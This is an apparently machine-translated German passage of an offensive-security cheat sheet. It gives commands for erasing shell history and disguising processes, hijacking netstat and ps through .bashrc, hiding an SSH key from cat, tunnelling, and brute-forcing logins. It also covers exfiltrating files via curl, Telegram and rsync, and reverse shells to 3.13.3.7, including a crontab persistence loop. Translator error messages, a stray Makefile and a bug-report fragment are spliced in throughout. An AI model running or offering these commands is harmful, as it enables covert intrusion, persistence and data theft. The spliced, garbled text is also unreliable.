Alternative URL:```sh
 source <(curl -SsfL https://github.com/hackerschoice/hackshell/raw/main/hackshell.sh)

HackShell kann viel mehr, aber am wichtigsten ist Folgendes:```sh
unset HISTFILE
[ -n "$BASH" ] && export HISTFILE="/dev/null"
export BASH_HISTORY="/dev/null"
export LANG=en_US.UTF-8
locale -a 2>/dev/null|grep -Fqim1 en_US.UTF || export LANG=en_US
export LESSHISTFILE=-
export REDISCLI_HISTFILE=/dev/null
export MYSQL_HISTFILE=/dev/null
TMPDIR="/tmp"
[ -d "/var/tmp" ] && TMPDIR="/var/tmp"
[ -d "/dev/shm" ] && TMPDIR="/dev/shm"
export TMPDIR
export PATH=".:${PATH}"
if [[ "$SHELL" == *"zsh" ]]; then
    PS1='%F{red}%n%f@%F{cyan}%m %F{magenta}%~ %(?.%F{green}.%F{red})%#%f '
else
    PS1='\[\033[36m\]\u\[\033[m\]@\[\033[32m\]\h:\[\033[33;1m\]\w\[\033[m\]\$ '
fi
alias wget='wget --no-hsts'
alias vi="vi -i NONE"
alias vim="vim -i NONE"
alias screen="screen -ln"

TERM=xterm reset -I
stty cols 400 # paste this on its own before pasting the next line:
resize &>/dev/null || { stty -echo;printf "\e[18t"; read -t5 -rdt R;IFS=';' read -r -a a <<< "${R:-8;25;80}";[ "${a[1]}" -ge "${a[2]}" ] && { R="${a[1]}";a[1]="${a[2]}";a[2]="${R}";};stty sane rows "${a[1]}" cols "${a[2]}";}
# stty sane rows 60 cols 160

Bonus-Tipp:
Jeder Befehl, der mit einem " " (Leerzeichen) beginnt, wird ebenfalls [nicht im Verlauf gespeichert](https://unix.stackexchange.com/questions/115917/why-is-bash-not-storing-commands-that-start-with-spaces).```
$  id

Starte einen 'nmap' im Hintergrund, versteckt als '/usr/sbin/sshd':```
(exec -a '/usr/sbin/sshd' nmap -Pn -F -n --open -oG - 10.0.2.1/24 &>nmap.log &)

Alternativ können Sie die Binärdatei unter einem neuen Namen kopieren:```sh
cd /dev/shm
cp "$(command -v nmap)" syslogd
PATH=.:$PATH syslogd -Pn -F -n --open -oG - 10.0.2.1/24

<a id="zap"></a>
**1.iii. Verstecke deine Kommandozeilenoptionen**

Verwende [zapper](https://github.com/hackerschoice/zapper):```sh
curl -fL -o zapper https://github.com/hackerschoice/zapper/releases/latest/download/zapper-linux-$(uname -m) && \
chmod 755 zapper

<a id="bash-hide-connection"></a>
**1.iv. Eine Netzwerkverbindung verstecken**

Der Trick besteht darin, `netstat` zu kapern und mit grep unsere Verbindung herauszufiltern. Dieses Beispiel filtert jede Verbindung auf Port 31337 _oder_ IP 1.2.3.4 heraus. Dasselbe sollte für `ss` (eine netstat-Alternative) getan werden.

**Methode 1 - Eine Verbindung mit einer Bash-Funktion in ~/.bashrc verstecken**

Schneiden Sie dies aus und fügen Sie es ein, um die Zeile zu ~/.bashrc hinzuzufügen.```shell
echo 'netstat(){ command netstat "$@" | grep -Fv -e :31337 -e 1.2.3.4; }' >>~/.bashrc \
&& touch -r /etc/passwd ~/.bashrc

Der verschleierte Eintrag in ~/.bashrc wird wie folgt aussehen:```
eval $(echo 6e65747374617428297b20636f6d6d616e64206e6574737461742022244022207c2067726570202d4676202d65203a3331333337202d6520312e322e332e343b207d0a|xxd -r -ps) #Initialize PRNG

*(danke iamaskid)*

<a id="hide-a-process-user"></a>
**1.v. Einen Prozess als Benutzer verbergen**

Im Anschluss an „Hiding a connection“ kann dieselbe Technik verwendet werden, um einen Prozess zu verbergen. Dieses Beispiel verbirgt den nmap-Prozess und stellt außerdem sicher, dass unser `grep` nicht in der Prozessliste erscheint, indem es in GREP umbenannt wird:```shell
echo 'ps(){ command ps "$@" | exec -a GREP grep -Fv -e nmap  -e GREP; }' >>~/.bashrc \
&& touch -r /etc/passwd ~/.bashrc

Um einen Befehl zu verstecken, verwende:```sh
hide                                 # Hides the current shell/PID
hide 31337                           # Hides process with pid 31337
hide sleep 1234                      # Hides 'sleep 1234'
hide nohup sleep 1234 &>/dev/null &  # Starts and hides 'sleep 1234' as a background process

(Das Gleiche funktioniert für `lsof`, `ss` und `ls`)

<a id="cat"></a>
**1.viii. Vor cat verstecken**

ANSI-Escapezeichen oder ein einfaches `\r` ([Wagenrücklauf](https://www.hahwul.com/2019/01/23/php-hidden-webshell-with-carriage/)) können verwendet werden, um sich vor `cat` und anderen zu verstecken.

Verstecke den letzten Befehl (Beispiel: `id`) in `~/.bashrc`:```sh
echo -e "id #\\033[2K\\033[1A" >>~/.bashrc
### The ANSI escape sequence \\033[2K erases the line. The next sequence \\033[1A
### moves the cursor 1 line up.
### The '#' after the command 'id' is a comment and is needed so that bash still
### executes the 'id' but ignores the two ANSI escape sequences.

Das Hinzufügen eines `\r` (Wagenrücklauf) hilft sehr dabei, deinen SSH-Schlüssel vor `cat` zu verstecken:```shell
echo "ssh-ed25519 AAAAOurPublicKeyHere....blah x@y"$'\r'"$(<authorized_keys)" >authorized_keys
### This adds our key as the first key and 'cat authorized_keys' won't show
### it. The $'\r' is a bash special to create a \r (carriage return).

- `exec` wird verwendet, um die zugrunde liegende Shell durch den letzten Prozess (nmap) zu ersetzen. Es ist optional, reduziert aber die Anzahl der laufenden/unnötigen Shell-Binaries.
- `${SLOT}` enthält einen Wert zwischen 0..19. Es ist die „Aufgabennummer“. Wir verwenden es, um die nmap-Ergebnisse in 20 separate Dateien zu schreiben.

Führen Sie [Linpeas](https://github.com/carlospolop/PEASS-ng) auf allen [gsocket](https://www.gsocket.io/deploy)-Hosts mit 40 Workern aus:```sh
cat secrets.txt | xargs -P40 -I{} --process-slot-var=SLOT bash -c 'mkdir host_{}; gsexec {} "curl -fsSL https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh" >host_{}/linpeas.log 2>>"linpeas-${SLOT}.err"'

Voller Komfort mit PTY und Farben: `xssh [email protected]````sh
### Cut & Paste the following to your shell, then execute
### xssh [email protected]
xssh() {
    local ttyp="$(stty -g)"
    echo -e "\e[0;35mTHC says: pimp up your prompt: Cut & Paste the following into your remote shell:\e[0;36m"
    echo -e '\e[0;36msource <(curl -SsfL https://github.com/hackerschoice/hackshell/raw/main/hackshell.sh)\e[0m'
    echo -e "\e[2m# or: \e[0;36m\e[2mPS1='"'\[\\033[36m\]\\u\[\\033[m\]@\[\\033[32m\]\\h:\[\\033[33;1m\]\\w\[\\033[m\]\\$ '"'\e[0m"
    stty raw -echo icrnl opost
    [[ $(ssh -V 2>&1) == OpenSSH_[67]* ]] && a="no"
    ssh -oConnectTimeout=5 -oUserKnownHostsFile=/dev/null -oStrictHostKeyChecking="${a:-accept-new}" -T \
        "$@" \
        "unset SSH_CLIENT SSH_CONNECTION; LESSHISTFILE=- MYSQL_HISTFILE=/dev/null TERM=xterm-256color HISTFILE=/dev/null BASH_HISTORY=/dev/null exec -a [uid] script -qc 'source <(resize 2>/dev/null); exec -a [uid] bash -i' /dev/null"
    stty "${ttyp}"
}

Erstellen Sie weitere Shell-Sitzungen über dieselbe (einzelne) Master-TCP-Verbindung von oben (kein Passwort/Authentifizierung erforderlich):```sh
ssh -S .sshmux NONE
#ssh -S .sshmux NONE ls -al
#scp -o "ControlPath=.sshmux" NONE:/etc/passwd .

Du oder jeder andere kann sich jetzt mit deinem Computer auf Port 31337 verbinden und wird zu 1.2.3.4 Port 80 getunnelt und erscheint mit der Quell-IP von 'server.org'. Eine Alternative und ohne die Notwendigkeit eines Servers ist die Verwendung von [gs-netcat](#backdoor-network).

Clevere Hacker verwenden die Tastenkombination `~C`, um diese Tunnel dynamisch zu erstellen, ohne die SSH-Verbindung neu aufbauen zu müssen. (Dank an MessedeDegod).

Wir verwenden dies, um einem Freund Zugriff auf eine interne Maschine zu geben, die sich nicht im öffentlichen Internet befindet:```sh
ssh -o ExitOnForwardFailure=yes -g -R31338:192.168.0.5:80 [email protected]

Konfigurieren Sie nun Ihren Browser, um SOCKS mit 127.0.0.1:1080 zu verwenden. Der gesamte Datenverkehr wird jetzt durch *server.org* getunnelt und erscheint mit der Quell-IP von *server.org*. Eine Alternative, die keinen Server benötigt, ist die Verwendung von [gs-netcat](#backdoor-network).

Dies ist die Umkehrung des obigen Beispiels. Es gibt anderen Zugriff auf Ihr *lokales* Netzwerk oder lässt andere Ihren Computer als Tunnel-Endpunkt verwenden.```sh
ssh -g -R 1080 [email protected]

Verwenden Sie dann diesen Befehl von überall auf der Welt, um sich als 'root' mit 'foobarblahblub' (dem Host hinter dem NAT) zu verbinden:```sh
ssh -J [email protected] root@foobarblahblub

> Wir führen `ssh` auf keinem Computer aus, außer auf unserer vertrauenswürdigen Workstation – und das solltet auch ihr (niemals) tun.

Genau dabei hilft ProxyJump: Wir können über die zwei Zwischenserver $C2 und $internal-jumphost „springen" (ohne auf diesen Servern eine Shell zu starten). Die ssh-Verbindung ist Ende-zu-Ende zwischen unserer $local-kali und $target-host verschlüsselt, und weder Passwort noch Schlüssel wird $C2 oder $internal-jumphost offengelegt.```sh 
## if we want to SSH to $target-host:
kali@local-kali$ ssh -J [email protected],[email protected] [email protected]

## if we want to SSH to just $internal-jumphost:
kali@local-kali$ ssh -J [email protected] [email protected]

```sh
# On the client, copy the sshd_key from the server. Then login:
# Example: Proxy connection via the server and reverse-forward 31339 to localhost:
ssh -D1080 -R31339:0:31339 -i sshd_key -p 31337 [email protected]
# curl -x socks5h://0 ipinfo.io

Please provide the Markdown content to translate.```sh
### ICMP discover hosts
nmap -n -sn -PI -oG - 192.168.0.1/24

---
<a id="tcpdump"></a>
**3.ii. tcpdump**```sh
## Monitor every new TCP connection
tcpdump -np 'tcp[tcpflags] ^ (tcp-syn|tcp-ack) == 0'

## Play a *bing*-noise for every new SSH connection
tcpdump -nplq 'tcp[13] == 2 and dst port 22' | while read -r x; do echo "${x}"; echo -en \\a; done

## Ascii output (for all large packets. Change to >40 if no TCP options are used).
tcpdump -npAq -s0 'tcp and (ip[2:2] > 60)'

I'm ready to translate, but no content was provided after "INPUT:". Please supply the chunk text you'd like translated.```sh
## Bridge TCP to SSL
socat TCP-LISTEN:25,reuseaddr,fork  openssl-connect:smtp.gmail.com:465

Verwendung von [bore.pub](https://github.com/ekzhang/bore) (kostenlos):```sh
# Forward a random public TCP port to localhost:31337
bore local 31337 --to bore.pub

mit [pinggy.io](https://www.pinggy.io) (60 Min. kostenlos):```sh
ssh -p 443 -R 0:localhost:31337 [email protected]

Beide Dienste generieren eine neue temporäre HTTPS-URL, die du verwenden kannst.  

Verwende dann [websocat](https://github.com/vi/websocat) oder [Gost](https://iq.thc.org/tunnel-via-cloudflare-to-any-tcp-service) an beiden Enden, um rohes TCP über die HTTPS-URL zu tunneln:

A. Eine einfache STDIN/STDOUT-Pipe über HTTPS:```sh
### On the server convert WebSocket to raw TCP:
websocat -s 8080

### On the remote target forward stdin/stdout to WebSocket:
websocat wss://<HTTPS-URL>

Leiten Sie Port 2222 an Port 22 des Servers weiter.```sh
### On the workstation:
gost -L tcp://:2222/127.0.0.1:22 -F 'mwss://<HTTPS-URL>:443'
### Test the connection (will connect to localhost:22 on the server)
nc -vn 127.0.0.1 2222

Mehr: [https://github.com/twelvesec/port-forwarding](https://github.com/twelvesec/port-forwarding) und [Tunnel via Cloudflare zu jedem TCP-Dienst](https://iq.thc.org/tunnel-via-cloudflare-to-any-tcp-service) und [Awesome Tunneling](https://github.com/anderspitman/awesome-tunneling).

---
<a id="iptables"></a>
**3.iii.c Verkehr mit iptables weiterleiten**

Leite Verkehr über einen Host/Router um, ohne einen Userland-Proxy oder Forwarder ausführen zu müssen:```sh
bounceinit() {
    echo 1 >/proc/sys/net/ipv4/ip_forward
    echo 1 >/proc/sys/net/ipv4/conf/all/route_localnet
    [ $# -le 0 ] && set -- "0.0.0.0/0"
    while [ $# -gt 0 ]; do
        iptables -t mangle -I PREROUTING -s "${1}" -p tcp -m addrtype --dst-type LOCAL -m conntrack ! --ctstate ESTABLISHED -j MARK --set-mark 1188 
        shift 1
    done
    iptables -t mangle -D PREROUTING -j CONNMARK --restore-mark >/dev/null 2>/dev/null
    iptables -t mangle -I PREROUTING -j CONNMARK --restore-mark
    iptables -I FORWARD -m mark --mark 1188 -j ACCEPT
    iptables -t nat -I POSTROUTING -m mark --mark 1188 -j MASQUERADE
    iptables -t nat -I POSTROUTING -m mark --mark 1188 -j CONNMARK --save-mark
}
bounce() {
    iptables -t nat -A PREROUTING -p tcp --dport "${1:?}" -m mark --mark 1188 -j DNAT --to ${2:?}:${3:?}
}
bounceinit                             # Allow EVERY IP to bounce
# bounceinit "1.2.3.4/16" "6.6.0.0/16" # Only allow these SOURCE IP's to bounce

Wir verwenden diesen Trick, um das gsocket-relay-network (oder TOR) aus tief in Firewall-geschützten Netzwerken zu erreichen.```sh
# Deploy on a target that can only reach 192.168.0.100  
GS_HOST=192.168.0.100 GS_PORT=53 ./deploy.sh  

# Access the target  
GS_HOST=213.171.212.212 gs-netcat -i -s ...

Dies funktioniert auch in Kombination mit:
 * [Segfault's ROOT Servers](https://thc.org/segfault/wireguard): Verbindet deinen ROOT Server mit dem ZIELNETZWERK und verwendet eine Ghost-IP innerhalb des Zielnetzwerks.
 * [QEMU Tunnels](https://securelist.com/network-tunneling-with-qemu/111803/): Wie oben, aber weniger sicher.

---
<a id="tunnel-more"></a>
**3.vi.d Verschiedene Tunnel-Tricks**

### Tunnel über CDN
 * Lies [How to tunnel any TCP service via CloudFlare](https://iq.thc.org/tunnel-via-cloudflare-to-any-tcp-service) oder nutze [DarkFlare](https://github.com/doxx/darkflare).

### Verbinde deinen Host direkt mit dem entfernten Netzwerk
 * [WireTap](https://github.com/sandialabs/wiretap) - Funktioniert als Benutzer oder Root. Verwendet UDP als Transport. ([Teste es](https://thc.org/segfault/wireguard) auf segfault.)
 * [ligolo-ng](https://github.com/nicocha30/ligolo-ng) - Verwendet TCP als Transport. Funktioniert gut über [cloudflare CDN](https://iq.thc.org/tunnel-via-cloudflare-to-any-tcp-service) oder gs-netcat.

### SSH als preiswerten Reverse-Proxy über Cloudflare nutzen

Diese Methode ähnelt den [HTTPS-Reverse-Tunneln](#https), verwendet aber SSH anstelle von Gost oder websocat.
- Vorteil: Verwendet auf dem Ziel nur *cloudflared* und *SSH*.
- Nachteil: Erfordert ein CF-Abonnement.

 1. Gehe zu deinem CF-Dashboard -> Zero Trust -> Networks -> Tunnels
 2. Erstelle einen neuen 'Cloudflared'-Tunnel mit einem beliebigen Namen.
 3. Wähle Debian & 64-bit. Der Token wird nicht vollständig angezeigt. Extrahiere den "Token", indem du den ausgegrauten Bereich in ein separates Dokument kopierst, um den gesamten Token sichtbar zu machen (die langen Hex-Strings nach `sudo cloudflared service install <TunnelTokenHere>`).
 4. Füge eine Subdomain hinzu (das Beispiel verwendet `ssh.team-teso.net`).
 5. Setze Type=TCP URL=localhost:22```shell
### On YOUR workstation:
cloudflared tunnel run --token TunnelTokenHere

Please provide the Markdown content to translate.```shell
### On your workstation, connect to _any_ host within the target network (example: ipinfo.io)
curl -x socks5h://0 https://ipinfo.io

Auf Ihrer Workstation:```sh
## Create a gsocket tunnel into the target's network:
gs-netcat -p 1080

### Verwendung von GrafTCP:```sh
## Use graftcp to access any host on the target's network:
(graftcp-local -select_proxy_mode only_socks5 &)
graftcp curl ipinfo.io
graftcp ssh [email protected]
graftcp nmap -n -Pn -sV -F --open 19.168.1.1

Ermitteln Sie Geolokalisierungsinformationen zu einer beliebigen IP-Adresse:```sh
curl https://ipinfo.io/8.8.8.8 | jq
curl http://ip-api.com/8.8.8.8
curl https://cli.fyi/8.8.8.8

Prüfen, ob TOR funktioniert:```sh
curl -x socks5h://localhost:9050 -s https://check.torproject.org/api/ip
### Result should be {"IsTor":true...

---
<a id="check-open-ports"></a>
**3.vii. Offene Ports auf einer IP prüfen/scannen**

Port-Lookup-Dienst von [Censys](https://search.censys.io/) oder [Shodan](https://internetdb.shodan.io):```shell
curl https://internetdb.shodan.io/1.1.1.1

Offene TCP-Ports scannen:```sh
_scan_single() {
    local opt=("${2}")
    [ -f "$2" ] && opt=("-iL" "$2")
    nmap -Pn -p"${1}" --open -T4 -n -oG - "${opt[@]}" 2>/dev/null | grep -F Ports
}
scan() {
    local port="${1:?}"
    shift 1
    for ip in "$@"; do
        _scan_single "$port" "$ip"
    done
}
# scan <ports> <IP or file> ...
# scan 22,80,443 192.168.0.1
# scan - 192.168.0.1-254" 10.0.0.1-254

---
<a id="bruteforce"></a>
**3.viii. Passwort-Hashes knacken**

 1. [NTLM2password](https://ntlm.pw/) zum Knacken (Nachschlagen) von NTLM-Passwörtern
 2. [wpa-sec](https://wpa-sec.stanev.org) zum Knacken (Nachschlagen) von WPA-PSK-Passwörtern

HashCat ist unser bevorzugtes Werkzeug für alles andere:```shell
hashcat my-hash /usr/share/wordlists/rockyou.txt

Knacke die `known_hosts`-Hashes von OpenSSH, um die IP-Adresse aufzudecken:```shell
curl -SsfL https://github.com/chris408/known_hosts-hashcat/raw/refs/heads/master/ipv4_hcmask.txt -O
curl -SsfL https://github.com/chris408/known_hosts-hashcat/raw/refs/heads/master/kh-converter.py -O
python3 kh-converter.py ~/.ssh/known_hosts >known_hosts_hashes
hashcat -m 160 --quiet --hex-salt known_hosts_hashes -a 3 ipv4_hcmask.txt 

(Vielleicht möchtest du deinen [eigenen EXIT-Knoten](https://www.thc.org/segfault/wireguard) verwenden)

Werkzeuge:
* [Ncrack](https://nmap.org/ncrack/man.html)
* [Nmap BRUTE](https://nmap.org/nsedoc/categories/brute.html)
* [THC Hydra](https://sectools.org/tool/hydra/)
* [Medusa](https://www.geeksforgeeks.org/password-cracking-with-medusa-in-linux/) / [Doku](http://foofus.net/goons/jmk/medusa/medusa.html)
* [Metasploit](https://docs.rapid7.com/metasploit/bruteforce-attacks/)
* [Crowbar](https://github.com/galkan/crowbar) - großartig zum Ausprobieren aller SSH-Schlüssel auf einem Ziel-IP-Bereich.

Benutzernamen- & Passwortlisten:
* `/usr/share/nmap/nselib/data`  
* `/usr/share/wordlists/seclists/Passwords`
* https://github.com/berzerk0/Probable-Wordlists - >THCs FAVORIT<
* https://github.com/danielmiessler/SecLists  
* https://wordlists.assetnote.io  
* https://weakpass.com  
* https://crackstation.net/  


Setze **B**enutzername/**P**asswortliste und **Z**ielhost.```shell
ULIST="/usr/share/wordlists/brutespray/mysql/user"
PLIST="/usr/share/wordlists/seclists/Passwords/500-worst-passwords.txt"
T="192.168.0.1"

Nützliche **Ncrack**-Parameter:```shell
-U "${ULIST}"
-P "${PLIST}"

<!--```shell
## HTTP Login
hydra -l admin -P "${PLIST}" http-post-fomr "/admin.php:u=^USER&p-^PASS&f=login:'Enter'" -v

I don't see any content after "INPUT:" to translate. The chunk appears to be empty.```shell
## Remote Desktop Protocol / RDP
ncrack -P "${PLIST}" --user root -p3389 "${T}"
hydra -P "${PLIST}" -l root "rdp://$T"

[No input provided]```shell
## IMAP (email)
nmap -p 143,993 --script imap-brute "$T"

[No content provided to translate.]```shell
## MySQL
nmap -p3306 --script mysql-brute "$T"

#### Schritte zur Reproduktion:

- Starten Sie eine GDB-Server-Sitzung auf Port 2345:
  ```SHELL
  gdbserver :2345 binary

Es wurde kein Inhalt zum Übersetzen bereitgestellt. Der INPUT-Abschnitt ist leer.```shell
## Telnet
nmap -p23 --script telnet-brute --script-args telnet-brute.timeout=8s "$T"

Bitte fügen Sie den zu übersetzenden Markdown-Inhalt ein.```shell
## VNC (with metasploit)
msfconsole
use auxiliary/scanner/vnc/vnc_login
set rhosts 192.168.0.1
set pass_file /usr/share/wordlists/seclists/Passwords/500-worst-passwords.txt
run

---
<a id="exfil"></a>
## 4. Daten-Upload/Download/Exfil

Am einfachsten: Tippe `exfil` auf einem [Segfault Root Server](https://thc.org/segfault)

Oder verwende curl und starte deinen eigenen [PHP-Exfil-Server](https://github.com/Rouji/single_php_filehost).

<a id="file-encoding"></a>

### 4.i Dateikodierung

Trick, um eine Datei auf das Zielsystem zu übertragen, wenn das Zielsystem keinen Internetzugriff hat: Konvertiere die Binärdatei in ASCII-Text (Base64) und verwende dann Kopieren & Einfügen. (Alternativ kannst du die Elite-Konsole von gs-netcat mit `Ctrl-e c` verwenden, um die Datei über dieselbe TCP-Verbindung zu übertragen.)

Verwende `xclip` (auf deiner Workstation), um die codierten Daten direkt in deine Zwischenablage zu leiten:```shell
base64 -w0 </etc/issue.net | xclip

<details>
  <summary>Ausgabe - HIER KLICKEN</summary>

> begin 644 issue.net-COPY  
> 72V%L:2!'3E4O3&EN=7@@4F]L;&EN9PH\`  
> `  
> end
</details>```sh
## uudecode (cut & paste the 3 lines from above):
uudecode

<details>
  <summary>Ausgabe - HIER KLICKEN</summary>

> VWJ1bnR1IDE4LjA0LjIgTFRTCg==
</details>```sh
base64 -d >issue.net-COPY

<details>
  <summary>Ausgabe - HIER KLICKEN</summary>

> VWJ1bnR1IDE4LjA0LjIgTFRTCg==
</details>```sh
openssl base64 -d >issue.net-COPY

<details>
  <summary>Ausgabe - HIER KLICKEN</summary>

> 4b616c6920474e552f4c696e757820526f6c6c696e670a
</details>```sh
xxd -p -r >issue.net-COPY

---
<a id="xfer-tmux"></a>
### 4.iii. Dateiübertragung - mit *tmux*

Starten Sie `tmux` auf Ihrer Workstation. Verbinden Sie sich auf beliebige Weise mit Ihrem Zielsystem (ssh, gs-netcat, ...).

#### Von REMOTE zu LOCAL (Download)

Verwenden Sie [Tmux-Logging](#tmux), um große Dateien vom Ziel über das Terminal auf Ihre Workstation herunterzuladen.

#### Von LOCAL zu REMOTE (Upload)

Starten Sie Ihr bevorzugtes Dekodierungswerkzeug (base64) auf dem REMOTE:```shell
# Use 'Ctrl-b $' to rename this tmux session to 'foo'
base64 -d >screen-xfer.txt

---
<a id="file-transfer-screen"></a>
### 4.vi. Dateiübertragung - mit *screen*

#### Vom entfernten System zum lokalen Rechner (Download)

Lassen Sie auf Ihrem lokalen Rechner eine *screen*-Sitzung laufen und melden Sie sich aus dieser Shell heraus am entfernten System an. Weisen Sie Ihren lokalen *screen* an, die gesamte Ausgabe in screen-xfer.txt zu schreiben:

> CTRL-a : logfile screen-xfer.txt

> CTRL-a H

Wir verwenden *openssl*, um unsere Daten zu kodieren, aber jede der oben genannten Kodierungsmethoden funktioniert. Dieser Befehl zeigt die base64-kodierten Daten im Terminal an, und *screen* schreibt diese Daten in *screen-xfer.txt*:```sh
## On the remote system encode issue.net
openssl base64 </etc/issue.net

#### Von LOKAL zu REMOTE (Upload)

Kodieren Sie die Daten auf Ihrem lokalen System:```sh
openssl base64 </etc/issue.net >screen-xfer.txt

Get *screen*, um die base64-kodierten Daten in die Zwischenablage von screen einzulesen, und füge die Daten aus der Zwischenablage in das entfernte System ein:

> CTRL-a : readbuf screen-xfer.txt

> CTRL-a : paste .

> CTRL-d

> CTRL-d

Hinweis: Zwei CTRL-d sind erforderlich, da ein [Fehler in openssl](https://github.com/openssl/openssl/issues/9355) vorliegt.

---
<a id="file-transfer-gs-netcat"></a>
### 4.v. Dateiübertragung - mit gs-netcat und sftp

Verwende [gs-netcat](https://github.com/hackerschoice/gsocket) und kapsle das sftp-Protokoll darin ein. Ermöglicht Zugriff auf Hosts hinter NAT/Firewall.```sh
gs-netcat -s MySecret -l -e /usr/lib/sftp-server         # Host behind NAT/Firewall

Oder zum DUMPen einer einzelnen Datei:```sh
# On the sender
gs-netcat -l <"FILENAME" # Will output a SECRET used by the receiver

# On the receiver
gs-netcat >"FILENAME"  # When prompted, enter the SECRET from the sender

Receiver: Rufen Sie die URL von einem beliebigen Browser aus auf, um das entfernte Dateisystem anzusehen/herunterzuladen.

#### 1 - Hochladen mit PHP:

Auf dem Empfänger:```posh
curl -fsSL -o upload_server.php https://github.com/hackerschoice/thc-tips-tricks-hacks-cheat-sheet/raw/master/tools/upload_server.php
mkdir upload
(cd upload; php -S 127.0.0.1:8080 ../upload_server.php &>/dev/null &)
cloudflared tunnel --url localhost:8080 --no-autoupdate

#### 2 - Upload mit Python:

Auf dem Empfänger:```posh
pip install uploadserver
python -m uploadserver &
cloudflared tunnel -url localhost:8000

---
<a id="download"></a>
### 4.vii. Datei-Download ohne curl

Mit Python nur herunterladen:```sh
# Declare a curl-alternative
purl() {
    local url="${1:?}"
    { [[ "${url:0:8}" == "https://" ]] || [[ "${url:0:7}" == "http://" ]]; } || url="https://${url}"
    "$(which python3 || which python || which python2 || which false)" -c "\
import urllib.request
import sys
import ssl
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
sys.stdout.buffer.write(urllib.request.urlopen(\"$url\", timeout=10, context=ctx).read())"
}
# purl ipinfo.io

Laden Sie mit OpenSSL nur Folgendes herunter:```sh
surl() {
    local r="${1#*://}"
    local opts=("-quiet" "-ign_eof")
    IFS=/ read -r host query <<<"${r}"
    openssl s_client --help 2>&1| grep -qFm1 -- -ignore_unexpected_eof && opts+=("-ignore_unexpected_eof")
    openssl s_client --help 2>&1| grep -qFm1 -- -verify_quiet && opts+=("-verify_quiet")
    echo -en "GET /${query} HTTP/1.0\r\nHost: ${host%%:*}\r\n\r\n" \
	| openssl s_client "${opts[@]}" -connect "${host%%:*}:443" \
	| sed '1,/^\r\{0,1\}$/d'
}
# surl ipinfo.io

Mit bash nur herunterladen:```sh
burl() {
    IFS=/ read -r proto x host query <<<"$1"
    exec 3<>"/dev/tcp/${host}/${PORT:-80}"
    echo -en "GET /${query} HTTP/1.0\r\nHost: ${host}\r\n\r\n" >&3
    (while read -r l; do echo >&2 "$l"; [[ $l == $'\r' ]] && break; done && cat ) <&3
    exec 3>&-
}
# burl http://ipinfo.io
# PORT=31337 burl http://37.120.235.188/blah.tar.gz >blah.tar.gz

dann laden Sie eine Datei oder ein Verzeichnis hoch:```sh
transfer /etc/passwd  # A single file
transfer ~/.ssh       # An entire directory
(curl ipinfo.io; hostname; uname -a; cat /proc/cpuinfo) | transfer "$(hostname)"

Absender:```posh
rsync -av warez rsync://1.2.3.4:31337/up

Absender:```posh
# Copy the ssl.pem from the Receiver to the Sender and send directory named 'warez'
IP=1.2.3.4
PORT=31337
# Using rsync + socat-ssl
up1() {
   rsync -ahPRv -e "bash -c 'socat - OPENSSL-CONNECT:${IP:?}:${PORT:-31337},cert=ssl.pem,cafile=ssl.pem,verify=0' #" -- "$@"  0:
}
# Using rsync + openssl
up2() {
   rsync -ahPRv -e "bash -c 'openssl s_client -connect ${IP:?}:${PORT:-31337} -servername example.com -cert ssl.pem -CAfile ssl.pem -quiet 2>/dev/null' #" -- "$@"  0:
}
up1 /var/www/./warez
up2 /var/www/./warez

Auf einem anderen Server:```sh
# Upload a file to your workstation
curl -T file.dat https://example-foo-bar-lights.trycloudflare.com
# Create a directory remotely
curl -X MKCOL https://example-foo-bar-lights.trycloudflare.com/sources
# Create a directory hierarchy remotely
find . -type d | xargs -I{} curl -X MKCOL https://example-foo-bar-lights.trycloudflare.com/sources/{}
# Upload all *.c files (in parallel):
find . -name '*.c' | xargs -P10 -I{} curl -T{} https://example-foo-bar-lights.trycloudflare.com/sources/{}

Oder binden Sie die WebDAV-Freigabe unter Windows ein (Z:/):```
net use * \\example-foo-bar-lights.trycloudflare.com@SSL\sources

target: build/MexicanWave
target-incremental: build/debug
	docker run -v .:/opt/mount --rm --privileged multiarch/qemu-user-static --reset -p yes
	docker rm -f buildMexicanWave &>/dev/null || echo 'kein buildMexicanWave-Container zum Löschen vorhanden'
	docker build --rm -t mexican-wave -f docker/Dockerfile.build .
	docker create --name buildMexicanWave mexican-wave
	docker cp buildMexicanWave:/opt/mexican-wave/_build/prod/rel/mexican_wave build/MexicanWave
	docker rm -f buildMexicanWave```sh
# Upload file.zip straight into the group chat:
curl -sF [email protected] "https://api.telegram.org/bot<TG-BOT-TOKEN>/sendDocument?chat_id=<TG-CHAT-ID>"

Nach der Verbindung [aktualisiere](#reverse-shell-interactive) deine Shell zu einer vollständig interaktiven PTY-Shell. Alternativ verwende [pwncat-cs](https://pwncat.org/) anstelle von netcat:```sh
pwncat -lp 1524
# Press "Ctrl-C" if pwncat gets stuck at "registered new host ...".
# Then type "back" to get the prompt of the remote shell.

Alternativ kannst du auf dem entfernten System dies in die `~/.profile` oder die Crontab einfügen, um die Connect-Back-Shell neu zu starten (und gleichzeitig zu verhindern, dass mehrere Instanzen gestartet werden):```sh
fuser /dev/shm/.busy &>/dev/null || (bash -c 'while :; do touch /dev/shm/.busy; exec 3</dev/shm/.busy; bash -i &>/dev/tcp/3.13.3.7/1524 0>&1; sleep 360; done' &>/dev/null &)

```sh
# On the target:
curl -skfL https://3.13.3.7:8080 | bash

```sh
# On the target:
C="curl -Ns telnet://3.13.3.7:1524"; $C </dev/null 2>&1 | sh 2>&1 | $C >/dev/null

I received no translatable content in this chunk. The input text after "INPUT:" is empty. Please provide the chunk content so I can translate it from English to German.```sh
# On the target, start an openssl reverse shell as background process:
({ openssl s_client -connect 3.13.3.7:1524 -quiet </dev/fd/3 3>&- 2>/dev/null | sh 2>&3 >&3 3>&- ; } 3>&1 | : & )

Variante, falls *'-e'* nicht unterstützt wird:```sh
{ nc -vn 3.13.3.7 1524 </dev/fd/3 3>&- | sh 2>&3 >&3 3>&- ; } 3>&1 | :

Telnet-Variante:```sh
mkfifo /tmp/.io; sh -i 2>&1 </tmp/.io | telnet 3.13.3.7 1524 >/tmp/.io

Hinweis: Vergiss nicht, `rm /tmp/.fio` nach dem Login auszuführen.



<a id="revese-shell-remote-moe"></a>
**5.i.h. Reverse-Shell mit remote.moe und ssh (verschlüsselt)**

Es ist möglich, rohes TCP (z. B. eine Bash-Reverse-Shell) über [remote.moe](https://remote.moe) zu tunneln:

Auf deiner Workstation:```sh
# First Terminal - Create a remote.moe tunnel to your workstation
